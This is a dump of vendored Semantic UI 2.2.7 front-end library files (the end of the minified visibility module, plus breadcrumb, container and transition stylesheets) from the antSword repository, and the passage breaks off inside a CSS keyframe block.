resize"),b.refreshOnLoad&&T.on("load"+k,v.event.load),T.on("resize"+k,v.event.resize),R.off("scroll"+k).on("scroll"+k,v.event.scroll).on("scrollchange"+k,v.event.scrollchange)}},event:{changed:function(e){v.verbose("DOM tree modified, updating visibility calculations"),v.timer=setTimeout(function(){v.verbose("DOM tree modified, updating sticky menu"),v.refresh()},100)},contextChanged:function(t){[].forEach.call(t,function(t){t.removedNodes&&[].forEach.call(t.removedNodes,function(t){(t==F||e(t).find(F).length>0)&&(v.debug("Element removed from DOM, tearing down events"),v.destroy())})})},resize:function(){v.debug("Window resized"),b.refreshOnResize&&P(v.refresh)},load:function(){v.debug("Page finished loading"),P(v.refresh)},scroll:function(){b.throttle?(clearTimeout(v.timer),v.timer=setTimeout(function(){R.triggerHandler("scrollchange"+k,[R.scrollTop()])},b.throttle)):P(function(){R.triggerHandler("scrollchange"+k,[R.scrollTop()])})},scrollchange:function(e,t){v.checkVisibility(t)}},precache:function(t,i){t instanceof Array||(t=[t]);for(var o=t.length,a=0,r=[],s=n.createElement("img"),l=function(){a++,a>=t.length&&e.isFunction(i)&&i()};o--;)s=n.createElement("img"),s.onload=l,s.onerror=l,s.src=t[o],r.push(s)},enableCallbacks:function(){v.debug("Allowing callbacks to occur"),O=!1},disableCallbacks:function(){v.debug("Disabling all callbacks temporarily"),O=!0},should:{trackChanges:function(){return d?(v.debug("One time query, no need to bind events"),!1):(v.debug("Callbacks being attached"),!0)}},setup:{cache:function(){v.cache={occurred:{},screen:{},element:{}}},image:function(){var e=A.data(w.src);e&&(v.verbose("Lazy loading image",e),b.once=!0,b.observeChanges=!1,b.onOnScreen=function(){v.debug("Image on screen",F),v.precache(e,function(){v.set.image(e,function(){g++,g==m&&b.onAllLoaded.call(this),b.onLoad.call(this)})})})},fixed:function(){v.debug("Setting up fixed"),b.once=!1,b.observeChanges=!1,b.initialCheck=!0,b.refreshOnLoad=!0,o.transition||(b.transition=!1),v.create.placeholder(),v.debug("Added placeholder",r),b.onTopPassed=function(){v.debug("Element passed, adding fixed position",A),v.show.placeholder(),v.set.fixed(),b.transition&&e.fn.transition!==i&&A.transition(b.transition,b.duration)},b.onTopPassedReverse=function(){v.debug("Element returned to position, removing fixed",A),v.hide.placeholder(),v.remove.fixed()}}},create:{placeholder:function(){v.verbose("Creating fixed position placeholder"),r=A.clone(!1).css("display","none").addClass(y.placeholder).insertAfter(A)}},show:{placeholder:function(){v.verbose("Showing placeholder"),r.css("display","block").css("visibility","hidden")}},hide:{placeholder:function(){v.verbose("Hiding placeholder"),r.css("display","none").css("visibility","")}},set:{fixed:function(){v.verbose("Setting element to fixed position"),A.addClass(y.fixed).css({position:"fixed",top:b.offset+"px",left:"auto",zIndex:b.zIndex}),b.onFixed.call(F)},image:function(t,n){A.attr("src",t),b.transition?e.fn.transition!==i?A.transition(b.transition,b.duration,n):A.fadeIn(b.duration,n):A.show()}},is:{onScreen:function(){var e=v.get.elementCalculations();return e.onScreen},offScreen:function(){var e=v.get.elementCalculations();return e.offScreen},visible:function(){return!(!v.cache||!v.cache.element)&&!(0===v.cache.element.width&&0===v.cache.element.offset.top)}},refresh:function(){v.debug("Refreshing constants (width/height)"),"fixed"==b.type&&v.resetFixed(),v.reset(),v.save.position(),b.checkOnRefresh&&v.checkVisibility(),b.onRefresh.call(F)},resetFixed:function(){v.remove.fixed(),v.remove.occurred()},reset:function(){v.verbose("Resetting all cached values"),e.isPlainObject(v.cache)&&(v.cache.screen={},v.cache.element={})},checkVisibility:function(e){v.verbose("Checking visibility of element",v.cache.element),!O&&v.is.visible()&&(v.save.scroll(e),v.save.calculations(),v.passed(),v.passingReverse(),v.topVisibleReverse(),v.bottomVisibleReverse(),v.topPassedReverse(),v.bottomPassedReverse(),v.onScreen(),v.offScreen(),v.passing(),v.topVisible(),v.bottomVisible(),v.topPassed(),v.bottomPassed(),b.onUpdate&&b.onUpdate.call(F,v.get.elementCalculations()))},passed:function(t,n){var o=v.get.elementCalculations();if(t&&n)b.onPassed[t]=n;else{if(t!==i)return v.get.pixelsPassed(t)>o.pixelsPassed;o.passing&&e.each(b.onPassed,function(e,t){o.bottomVisible||o.pixelsPassed>v.get.pixelsPassed(e)?v.execute(t,e):b.once||v.remove.occurred(t)})}},onScreen:function(e){var t=v.get.elementCalculations(),n=e||b.onOnScreen,o="onScreen";if(e&&(v.debug("Adding callback for onScreen",e),b.onOnScreen=e),t.onScreen?v.execute(n,o):b.once||v.remove.occurred(o),e!==i)return t.onOnScreen},offScreen:function(e){var t=v.get.elementCalculations(),n=e||b.onOffScreen,o="offScreen";if(e&&(v.debug("Adding callback for offScreen",e),b.onOffScreen=e),t.offScreen?v.execute(n,o):b.once||v.remove.occurred(o),e!==i)return t.onOffScreen},passing:function(e){var t=v.get.elementCalculations(),n=e||b.onPassing,o="passing";if(e&&(v.debug("Adding callback for passing",e),b.onPassing=e),t.passing?v.execute(n,o):b.once||v.remove.occurred(o),e!==i)return t.passing},topVisible:function(e){var t=v.get.elementCalculations(),n=e||b.onTopVisible,o="topVisible";if(e&&(v.debug("Adding callback for top visible",e),b.onTopVisible=e),t.topVisible?v.execute(n,o):b.once||v.remove.occurred(o),e===i)return t.topVisible},bottomVisible:function(e){var t=v.get.elementCalculations(),n=e||b.onBottomVisible,o="bottomVisible";if(e&&(v.debug("Adding callback for bottom visible",e),b.onBottomVisible=e),t.bottomVisible?v.execute(n,o):b.once||v.remove.occurred(o),e===i)return t.bottomVisible},topPassed:function(e){var t=v.get.elementCalculations(),n=e||b.onTopPassed,o="topPassed";if(e&&(v.debug("Adding callback for top passed",e),b.onTopPassed=e),t.topPassed?v.execute(n,o):b.once||v.remove.occurred(o),e===i)return t.topPassed},bottomPassed:function(e){var t=v.get.elementCalculations(),n=e||b.onBottomPassed,o="bottomPassed";if(e&&(v.debug("Adding callback for bottom passed",e),b.onBottomPassed=e),t.bottomPassed?v.execute(n,o):b.once||v.remove.occurred(o),e===i)return t.bottomPassed},passingReverse:function(e){var t=v.get.elementCalculations(),n=e||b.onPassingReverse,o="passingReverse";if(e&&(v.debug("Adding callback for passing reverse",e),b.onPassingReverse=e),t.passing?b.once||v.remove.occurred(o):v.get.occurred("passing")&&v.execute(n,o),e!==i)return!t.passing},topVisibleReverse:function(e){var t=v.get.elementCalculations(),n=e||b.onTopVisibleReverse,o="topVisibleReverse";if(e&&(v.debug("Adding callback for top visible reverse",e),b.onTopVisibleReverse=e),t.topVisible?b.once||v.remove.occurred(o):v.get.occurred("topVisible")&&v.execute(n,o),e===i)return!t.topVisible},bottomVisibleReverse:function(e){var t=v.get.elementCalculations(),n=e||b.onBottomVisibleReverse,o="bottomVisibleReverse";if(e&&(v.debug("Adding callback for bottom visible reverse",e),b.onBottomVisibleReverse=e),t.bottomVisible?b.once||v.remove.occurred(o):v.get.occurred("bottomVisible")&&v.execute(n,o),e===i)return!t.bottomVisible},topPassedReverse:function(e){var t=v.get.elementCalculations(),n=e||b.onTopPassedReverse,o="topPassedReverse";if(e&&(v.debug("Adding callback for top passed reverse",e),b.onTopPassedReverse=e),t.topPassed?b.once||v.remove.occurred(o):v.get.occurred("topPassed")&&v.execute(n,o),e===i)return!t.onTopPassed},bottomPassedReverse:function(e){var t=v.get.elementCalculations(),n=e||b.onBottomPassedReverse,o="bottomPassedReverse";if(e&&(v.debug("Adding callback for bottom passed reverse",e),b.onBottomPassedReverse=e),t.bottomPassed?b.once||v.remove.occurred(o):v.get.occurred("bottomPassed")&&v.execute(n,o),e===i)return!t.bottomPassed},execute:function(e,t){var n=v.get.elementCalculations(),i=v.get.screenCalculations();e=e||!1,e&&(b.continuous?(v.debug("Callback being called continuously",t,n),e.call(F,n,i)):v.get.occurred(t)||(v.debug("Conditions met",t,n),e.call(F,n,i))),v.save.occurred(t)},remove:{fixed:function(){v.debug("Removing fixed position"),A.removeClass(y.fixed).css({position:"",top:"",left:"",zIndex:""}),b.onUnfixed.call(F)},placeholder:function(){v.debug("Removing placeholder content"),r&&r.remove()},occurred:function(e){if(e){var t=v.cache.occurred;t[e]!==i&&t[e]===!0&&(v.debug("Callback can now be called again",e),v.cache.occurred[e]=!1)}else v.cache.occurred={}}},save:{calculations:function(){v.verbose("Saving all calculations necessary to determine positioning"),v.save.direction(),v.save.screenCalculations(),v.save.elementCalculations()},occurred:function(e){e&&(v.cache.occurred[e]!==i&&v.cache.occurred[e]===!0||(v.verbose("Saving callback occurred",e),v.cache.occurred[e]=!0))},scroll:function(e){e=e+b.offset||R.scrollTop()+b.offset,v.cache.scroll=e},direction:function(){var e,t=v.get.scroll(),n=v.get.lastScroll();return e=t>n&&n?"down":t<n&&n?"up":"static",v.cache.direction=e,v.cache.direction},elementPosition:function(){var e=v.cache.element,t=v.get.screenSize();return v.verbose("Saving element position"),e.fits=e.height<t.height,e.offset=A.offset(),e.width=A.outerWidth(),e.height=A.outerHeight(),v.cache.element=e,e},elementCalculations:function(){var e=v.get.screenCalculations(),t=v.get.elementPosition();return b.includeMargin?(t.margin={},t.margin.top=parseInt(A.css("margin-top"),10),t.margin.bottom=parseInt(A.css("margin-bottom"),10),t.top=t.offset.top-t.margin.top,t.bottom=t.offset.top+t.height+t.margin.bottom):(t.top=t.offset.top,t.bottom=t.offset.top+t.height),t.topVisible=e.bottom>=t.top,t.topPassed=e.top>=t.top,t.bottomVisible=e.bottom>=t.bottom,t.bottomPassed=e.top>=t.bottom,t.pixelsPassed=0,t.percentagePassed=0,t.onScreen=t.topVisible&&!t.bottomPassed,t.passing=t.topPassed&&!t.bottomPassed,t.offScreen=!t.onScreen,t.passing&&(t.pixelsPassed=e.top-t.top,t.percentagePassed=(e.top-t.top)/t.height),v.cache.element=t,v.verbose("Updated element calculations",t),t},screenCalculations:function(){var e=v.get.scroll();return v.save.direction(),v.cache.screen.top=e,v.cache.screen.bottom=e+v.cache.screen.height,v.cache.screen},screenSize:function(){v.verbose("Saving window position"),v.cache.screen={height:R.height()}},position:function(){v.save.screenSize(),v.save.elementPosition()}},get:{pixelsPassed:function(e){var t=v.get.elementCalculations();return e.search("%")>-1?t.height*(parseInt(e,10)/100):parseInt(e,10)},occurred:function(e){return v.cache.occurred!==i&&(v.cache.occurred[e]||!1)},direction:function(){return v.cache.direction===i&&v.save.direction(),v.cache.direction},elementPosition:function(){return v.cache.element===i&&v.save.elementPosition(),v.cache.element},elementCalculations:function(){return v.cache.element===i&&v.save.elementCalculations(),v.cache.element},screenCalculations:function(){return v.cache.screen===i&&v.save.screenCalculations(),v.cache.screen},screenSize:function(){return v.cache.screen===i&&v.save.screenSize(),v.cache.screen},scroll:function(){return v.cache.scroll===i&&v.save.scroll(),v.cache.scroll},lastScroll:function(){return v.cache.screen===i?(v.debug("First scroll event, no last scroll could be found"),!1):v.cache.screen.top}},setting:function(t,n){if(e.isPlainObject(t))e.extend(!0,b,t);else{if(n===i)return b[t];b[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,v,t);else{if(n===i)return v[t];v[t]=n}},debug:function(){!b.silent&&b.debug&&(b.performance?v.performance.log(arguments):(v.debug=Function.prototype.bind.call(console.info,console,b.name+":"),v.debug.apply(console,arguments)))},verbose:function(){!b.silent&&b.verbose&&b.debug&&(b.performance?v.performance.log(arguments):(v.verbose=Function.prototype.bind.call(console.info,console,b.name+":"),v.verbose.apply(console,arguments)))},error:function(){b.silent||(v.error=Function.prototype.bind.call(console.error,console,b.name+":"),v.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;b.performance&&(t=(new Date).getTime(),i=l||t,n=t-i,l=t,c.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:F,"Execution Time":n})),clearTimeout(v.performance.timer),v.performance.timer=setTimeout(v.performance.display,500)},display:function(){var t=b.name+":",n=0;l=!1,clearTimeout(v.performance.timer),e.each(c,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",s&&(t+=" '"+s+"'"),(console.group!==i||console.table!==i)&&c.length>0&&(console.groupCollapsed(t),console.table?console.table(c):e.each(c,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),c=[]}},invoke:function(t,n,o){var r,s,l,c=E;return n=n||f,o=F||o,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i?(s=c[o],!1):(v.error(C.method,t),!1);c=c[o]}})),e.isFunction(s)?l=s.apply(o,n):s!==i&&(l=s),e.isArray(a)?a.push(l):a!==i?a=[a,l]:l!==i&&(a=l),s}},d?(E===i&&v.initialize(),E.save.scroll(),E.save.calculations(),v.invoke(u)):(E!==i&&E.invoke("destroy"),v.initialize())}),a!==i?a:this},e.fn.visibility.settings={name:"Visibility",namespace:"visibility",debug:!1,verbose:!1,performance:!0,observeChanges:!0,initialCheck:!0,refreshOnLoad:!0,refreshOnResize:!0,checkOnRefresh:!0,once:!0,continuous:!1,offset:0,includeMargin:!1,context:t,throttle:!1,type:!1,zIndex:"10",transition:"fade in",duration:1e3,onPassed:{},onOnScreen:!1,onOffScreen:!1,onPassing:!1,onTopVisible:!1,onBottomVisible:!1,onTopPassed:!1,onBottomPassed:!1,onPassingReverse:!1,onTopVisibleReverse:!1,onBottomVisibleReverse:!1,onTopPassedReverse:!1,onBottomPassedReverse:!1,onLoad:function(){},onAllLoaded:function(){},onFixed:function(){},onUnfixed:function(){},onUpdate:!1,onRefresh:function(){},metadata:{src:"src"},className:{fixed:"fixed",placeholder:"placeholder"},error:{method:"The method you called is not defined.",visible:"Element is hidden, you must call refresh after element becomes visible"}}}(jQuery,window,document); ```
/content/code_sandbox/static/libs/semanticui/semantic.min.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
77,781
```css /*! * # Semantic UI 2.2.7 - Breadcrumb * path_to_url * * * Released under the MIT license * path_to_url * */.ui.breadcrumb{line-height:1;display:inline-block;margin:0 0;vertical-align:middle}.ui.breadcrumb:first-child{margin-top:0}.ui.breadcrumb:last-child{margin-bottom:0}.ui.breadcrumb .divider{display:inline-block;opacity:.7;margin:0 .21428571rem 0;font-size:.92857143em;color:rgba(0,0,0,.4);vertical-align:baseline}.ui.breadcrumb a{color:#4183c4}.ui.breadcrumb a:hover{color:#1e70bf}.ui.breadcrumb .icon.divider{font-size:.85714286em;vertical-align:baseline}.ui.breadcrumb a.section{cursor:pointer}.ui.breadcrumb .section{display:inline-block;margin:0;padding:0}.ui.breadcrumb.segment{display:inline-block;padding:.78571429em 1em}.ui.breadcrumb .active.section{font-weight:700}.ui.mini.breadcrumb{font-size:.78571429rem}.ui.tiny.breadcrumb{font-size:.85714286rem}.ui.small.breadcrumb{font-size:.92857143rem}.ui.breadcrumb{font-size:1rem}.ui.large.breadcrumb{font-size:1.14285714rem}.ui.big.breadcrumb{font-size:1.28571429rem}.ui.huge.breadcrumb{font-size:1.42857143rem}.ui.massive.breadcrumb{font-size:1.71428571rem} ```
/content/code_sandbox/static/libs/semanticui/components/breadcrumb.min.css
css
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
343
```css /*! * # Semantic UI 2.2.7 - Container * path_to_url * * * Released under the MIT license * path_to_url * */ /******************************* Container *******************************/ /* All Sizes */ .ui.container { display: block; max-width: 100% !important; } /* Mobile */ @media only screen and (max-width: 767px) { .ui.container { width: auto !important; margin-left: 1em !important; margin-right: 1em !important; } .ui.grid.container { width: auto !important; } .ui.relaxed.grid.container { width: auto !important; } .ui.very.relaxed.grid.container { width: auto !important; } } /* Tablet */ @media only screen and (min-width: 768px) and (max-width: 991px) { .ui.container { width: 723px; margin-left: auto !important; margin-right: auto !important; } .ui.grid.container { width: calc( 723px + 2rem ) !important; } .ui.relaxed.grid.container { width: calc( 723px + 3rem ) !important; } .ui.very.relaxed.grid.container { width: calc( 723px + 5rem ) !important; } } /* Small Monitor */ @media only screen and (min-width: 992px) and (max-width: 1199px) { .ui.container { width: 933px; margin-left: auto !important; margin-right: auto !important; } .ui.grid.container { width: calc( 933px + 2rem ) !important; } .ui.relaxed.grid.container { width: calc( 933px + 3rem ) !important; } .ui.very.relaxed.grid.container { width: calc( 933px + 5rem ) !important; } } /* Large Monitor */ @media only screen and (min-width: 1200px) { .ui.container { width: 1127px; margin-left: auto !important; margin-right: auto !important; } .ui.grid.container { width: calc( 1127px + 2rem ) !important; } .ui.relaxed.grid.container { width: calc( 1127px + 3rem ) !important; } .ui.very.relaxed.grid.container { width: calc( 1127px + 5rem ) !important; } } /******************************* Types *******************************/ /* Text Container */ .ui.text.container { font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif; max-width: 700px !important; line-height: 1.5; } .ui.text.container { font-size: 1.14285714rem; } /* Fluid */ .ui.fluid.container { width: 100%; } /******************************* Variations *******************************/ .ui[class*="left aligned"].container { text-align: left; } .ui[class*="center aligned"].container { text-align: center; } .ui[class*="right aligned"].container { text-align: right; } .ui.justified.container { text-align: justify; -webkit-hyphens: auto; -ms-hyphens: auto; hyphens: auto; } /******************************* Theme Overrides *******************************/ /******************************* Site Overrides *******************************/ ```
/content/code_sandbox/static/libs/semanticui/components/container.css
css
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
788
```css /*! * # Semantic UI 2.2.7 - Transition * path_to_url * * * Released under the MIT license * path_to_url * */ /******************************* Transitions *******************************/ .transition { -webkit-animation-iteration-count: 1; animation-iteration-count: 1; -webkit-animation-duration: 300ms; animation-duration: 300ms; -webkit-animation-timing-function: ease; animation-timing-function: ease; -webkit-animation-fill-mode: both; animation-fill-mode: both; } /******************************* States *******************************/ /* Animating */ .animating.transition { -webkit-backface-visibility: hidden; backface-visibility: hidden; visibility: visible !important; } /* Loading */ .loading.transition { position: absolute; top: -99999px; left: -99999px; } /* Hidden */ .hidden.transition { display: none; visibility: hidden; } /* Visible */ .visible.transition { display: block !important; visibility: visible !important; /* backface-visibility: @backfaceVisibility; transform: @use3DAcceleration;*/ } /* Disabled */ .disabled.transition { -webkit-animation-play-state: paused; animation-play-state: paused; } /******************************* Variations *******************************/ .looping.transition { -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; } /******************************* Transitions *******************************/ /* Some transitions adapted from Animate CSS path_to_url Additional transitions adapted from Glide by Nick Pettit - path_to_url */ /*-------------- Browse ---------------*/ .transition.browse { -webkit-animation-duration: 500ms; animation-duration: 500ms; } .transition.browse.in { -webkit-animation-name: browseIn; animation-name: browseIn; } .transition.browse.out, .transition.browse.left.out { -webkit-animation-name: browseOutLeft; animation-name: browseOutLeft; } .transition.browse.right.out { -webkit-animation-name: browseOutRight; animation-name: browseOutRight; } /* In */ @-webkit-keyframes browseIn { 0% { -webkit-transform: scale(0.8) translateZ(0px); transform: scale(0.8) translateZ(0px); z-index: -1; } 10% { -webkit-transform: scale(0.8) translateZ(0px); transform: scale(0.8) translateZ(0px); z-index: -1; opacity: 0.7; } 80% { -webkit-transform: scale(1.05) translateZ(0px); transform: scale(1.05) translateZ(0px); opacity: 1; z-index: 999; } 100% { -webkit-transform: scale(1) translateZ(0px); transform: scale(1) translateZ(0px); z-index: 999; } } @keyframes browseIn { 0% { -webkit-transform: scale(0.8) translateZ(0px); transform: scale(0.8) translateZ(0px); z-index: -1; } 10% { -webkit-transform: scale(0.8) translateZ(0px); transform: scale(0.8) translateZ(0px); z-index: -1; opacity: 0.7; } 80% { -webkit-transform: scale(1.05) translateZ(0px); transform: scale(1.05) translateZ(0px); opacity: 1; z-index: 999; } 100% { -webkit-transform: scale(1) translateZ(0px); transform: scale(1) translateZ(0px); z-index: 999; } } /* Out */ @-webkit-keyframes browseOutLeft { 0% { z-index: 999; -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg); transform: translateX(0%) rotateY(0deg) rotateX(0deg); } 50% { z-index: -1; -webkit-transform: translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px); transform: translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px); } 80% { opacity: 1; } 100% { z-index: -1; -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px); transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px); opacity: 0; } } @keyframes browseOutLeft { 0% { z-index: 999; -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg); transform: translateX(0%) rotateY(0deg) rotateX(0deg); } 50% { z-index: -1; -webkit-transform: translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px); transform: translateX(-105%) rotateY(35deg) rotateX(10deg) translateZ(-10px); } 80% { opacity: 1; } 100% { z-index: -1; -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px); transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px); opacity: 0; } } @-webkit-keyframes browseOutRight { 0% { z-index: 999; -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg); transform: translateX(0%) rotateY(0deg) rotateX(0deg); } 50% { z-index: 1; -webkit-transform: translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px); transform: translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px); } 80% { opacity: 1; } 100% { z-index: 1; -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px); transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px); opacity: 0; } } @keyframes browseOutRight { 0% { z-index: 999; -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg); transform: translateX(0%) rotateY(0deg) rotateX(0deg); } 50% { z-index: 1; -webkit-transform: translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px); transform: translateX(105%) rotateY(35deg) rotateX(10deg) translateZ(-10px); } 80% { opacity: 1; } 100% { z-index: 1; -webkit-transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px); transform: translateX(0%) rotateY(0deg) rotateX(0deg) translateZ(-10px); opacity: 0; } } /*-------------- Drop ---------------*/ .drop.transition { -webkit-transform-origin: top center; transform-origin: top center; -webkit-animation-duration: 400ms; animation-duration: 400ms; -webkit-animation-timing-function: cubic-bezier(0.34, 1.61, 0.7, 1); animation-timing-function: cubic-bezier(0.34, 1.61, 0.7, 1); } .drop.transition.in { -webkit-animation-name: dropIn; animation-name: dropIn; } .drop.transition.out { -webkit-animation-name: dropOut; animation-name: dropOut; } /* Drop */ @-webkit-keyframes dropIn { 0% { opacity: 0; -webkit-transform: scale(0); transform: scale(0); } 100% { opacity: 1; -webkit-transform: scale(1); transform: scale(1); } } @keyframes dropIn { 0% { opacity: 0; -webkit-transform: scale(0); transform: scale(0); } 100% { opacity: 1; -webkit-transform: scale(1); transform: scale(1); } } @-webkit-keyframes dropOut { 0% { opacity: 1; -webkit-transform: scale(1); transform: scale(1); } 100% { opacity: 0; -webkit-transform: scale(0); transform: scale(0); } } @keyframes dropOut { 0% { opacity: 1; -webkit-transform: scale(1); transform: scale(1); } 100% { opacity: 0; -webkit-transform: scale(0); transform: scale(0); } } /*-------------- Fade ---------------*/ .transition.fade.in { -webkit-animation-name: fadeIn; animation-name: fadeIn; } .transition[class*="fade up"].in { -webkit-animation-name: fadeInUp; animation-name: fadeInUp; } .transition[class*="fade down"].in { -webkit-animation-name: fadeInDown; animation-name: fadeInDown; } .transition[class*="fade left"].in { -webkit-animation-name: fadeInLeft; animation-name: fadeInLeft; } .transition[class*="fade right"].in { -webkit-animation-name: fadeInRight; animation-name: fadeInRight; } .transition.fade.out { -webkit-animation-name: fadeOut; animation-name: fadeOut; } .transition[class*="fade up"].out { -webkit-animation-name: fadeOutUp; animation-name: fadeOutUp; } .transition[class*="fade down"].out { -webkit-animation-name: fadeOutDown; animation-name: fadeOutDown; } .transition[class*="fade left"].out { -webkit-animation-name: fadeOutLeft; animation-name: fadeOutLeft; } .transition[class*="fade right"].out { -webkit-animation-name: fadeOutRight; animation-name: fadeOutRight; } /* In */ @-webkit-keyframes fadeIn { 0% { opacity: 0; } 100% { opacity: 1; } } @keyframes fadeIn { 0% { opacity: 0; } 100% { opacity: 1; } } @-webkit-keyframes fadeInUp { 0% { opacity: 0; -webkit-transform: translateY(10%); transform: translateY(10%); } 100% { opacity: 1; -webkit-transform: translateY(0%); transform: translateY(0%); } } @keyframes fadeInUp { 0% { opacity: 0; -webkit-transform: translateY(10%); transform: translateY(10%); } 100% { opacity: 1; -webkit-transform: translateY(0%); transform: translateY(0%); } } @-webkit-keyframes fadeInDown { 0% { opacity: 0; -webkit-transform: translateY(-10%); transform: translateY(-10%); } 100% { opacity: 1; -webkit-transform: translateY(0%); transform: translateY(0%); } } @keyframes fadeInDown { 0% { opacity: 0; -webkit-transform: translateY(-10%); transform: translateY(-10%); } 100% { opacity: 1; -webkit-transform: translateY(0%); transform: translateY(0%); } } @-webkit-keyframes fadeInLeft { 0% { opacity: 0; -webkit-transform: translateX(10%); transform: translateX(10%); } 100% { opacity: 1; -webkit-transform: translateX(0%); transform: translateX(0%); } } @keyframes fadeInLeft { 0% { opacity: 0; -webkit-transform: translateX(10%); transform: translateX(10%); } 100% { opacity: 1; -webkit-transform: translateX(0%); transform: translateX(0%); } } @-webkit-keyframes fadeInRight { 0% { opacity: 0; -webkit-transform: translateX(-10%); transform: translateX(-10%); } 100% { opacity: 1; -webkit-transform: translateX(0%); transform: translateX(0%); } } @keyframes fadeInRight { 0% { opacity: 0; -webkit-transform: translateX(-10%); transform: translateX(-10%); } 100% { opacity: 1; -webkit-transform: translateX(0%); transform: translateX(0%); } } /* Out */ @-webkit-keyframes fadeOut { 0% { opacity: 1; } 100% { opacity: 0; } } @keyframes fadeOut { 0% { opacity: 1; } 100% { opacity: 0; } } @-webkit-keyframes fadeOutUp { 0% { opacity: 1; -webkit-transform: translateY(0%); transform: translateY(0%); } 100% { opacity: 0; -webkit-transform: translateY(5%); transform: translateY(5%); } } @keyframes fadeOutUp { 0% { opacity: 1; -webkit-transform: translateY(0%); transform: translateY(0%); } 100% { opacity: 0; -webkit-transform: translateY(5%); transform: translateY(5%); } } @-webkit-keyframes fadeOutDown { 0% { opacity: 1; -webkit-transform: translateY(0%); transform: translateY(0%); } 100% { opacity: 0; -webkit-transform: translateY(-5%); transform: translateY(-5%); } } @keyframes fadeOutDown { 0% { opacity: 1; -webkit-transform: translateY(0%); transform: translateY(0%); } 100% { opacity: 0; -webkit-transform: translateY(-5%); transform: translateY(-5%); } } @-webkit-keyframes fadeOutLeft { 0% { opacity: 1; -webkit-transform: translateX(0%); transform: translateX(0%); } 100% { opacity: 0; -webkit-transform: translateX(5%); transform: translateX(5%); } } @keyframes fadeOutLeft { 0% { opacity: 1; -webkit-transform: translateX(0%); transform: translateX(0%); } 100% { opacity: 0; -webkit-transform: translateX(5%); transform: translateX(5%); } } @-webkit-keyframes fadeOutRight { 0% { opacity: 1; -webkit-transform: translateX(0%); transform: translateX(0%); } 100% { opacity: 0; -webkit-transform: translateX(-5%); transform: translateX(-5%); } } @keyframes fadeOutRight { 0% { opacity: 1; -webkit-transform: translateX(0%); transform: translateX(0%); } 100% { opacity: 0; -webkit-transform: translateX(-5%); transform: translateX(-5%); } } /*-------------- Flips ---------------*/ .flip.transition.in, .flip.transition.out { -webkit-animation-duration: 600ms; animation-duration: 600ms; } .horizontal.flip.transition.in { -webkit-animation-name: horizontalFlipIn; animation-name: horizontalFlipIn; } .horizontal.flip.transition.out { -webkit-animation-name: horizontalFlipOut; animation-name: horizontalFlipOut; } .vertical.flip.transition.in { -webkit-animation-name: verticalFlipIn; animation-name: verticalFlipIn; } .vertical.flip.transition.out { -webkit-animation-name: verticalFlipOut; animation-name: verticalFlipOut; } /* In */ @-webkit-keyframes horizontalFlipIn { 0% { -webkit-transform: perspective(2000px) rotateY(-90deg); transform: perspective(2000px) rotateY(-90deg); opacity: 0; } 100% { -webkit-transform: perspective(2000px) rotateY(0deg); transform: perspective(2000px) rotateY(0deg); opacity: 1; } } @keyframes horizontalFlipIn { 0% { -webkit-transform: perspective(2000px) rotateY(-90deg); transform: perspective(2000px) rotateY(-90deg); opacity: 0; } 100% { -webkit-transform: perspective(2000px) rotateY(0deg); transform: perspective(2000px) rotateY(0deg); opacity: 1; } } @-webkit-keyframes verticalFlipIn { 0% { -webkit-transform: perspective(2000px) rotateX(-90deg); transform: perspective(2000px) rotateX(-90deg); opacity: 0; } 100% { -webkit-transform: perspective(2000px) rotateX(0deg); transform: perspective(2000px) rotateX(0deg); opacity: 1; } } @keyframes verticalFlipIn { 0% { -webkit-transform: perspective(2000px) rotateX(-90deg); transform: perspective(2000px) rotateX(-90deg); opacity: 0; } 100% { -webkit-transform: perspective(2000px) rotateX(0deg); transform: perspective(2000px) rotateX(0deg); opacity: 1; } } /* Out */ @-webkit-keyframes horizontalFlipOut { 0% { -webkit-transform: perspective(2000px) rotateY(0deg); transform: perspective(2000px) rotateY(0deg); opacity: 1; } 100% { -webkit-transform: perspective(2000px) rotateY(90deg); transform: perspective(2000px) rotateY(90deg); opacity: 0; } } @keyframes horizontalFlipOut { 0% { -webkit-transform: perspective(2000px) rotateY(0deg); transform: perspective(2000px) rotateY(0deg); opacity: 1; } 100% { -webkit-transform: perspective(2000px) rotateY(90deg); transform: perspective(2000px) rotateY(90deg); opacity: 0; } } @-webkit-keyframes verticalFlipOut { 0% { -webkit-transform: perspective(2000px) rotateX(0deg); transform: perspective(2000px) rotateX(0deg); opacity: 1; } 100% { -webkit-transform: perspective(2000px) rotateX(-90deg); transform: perspective(2000px) rotateX(-90deg); opacity: 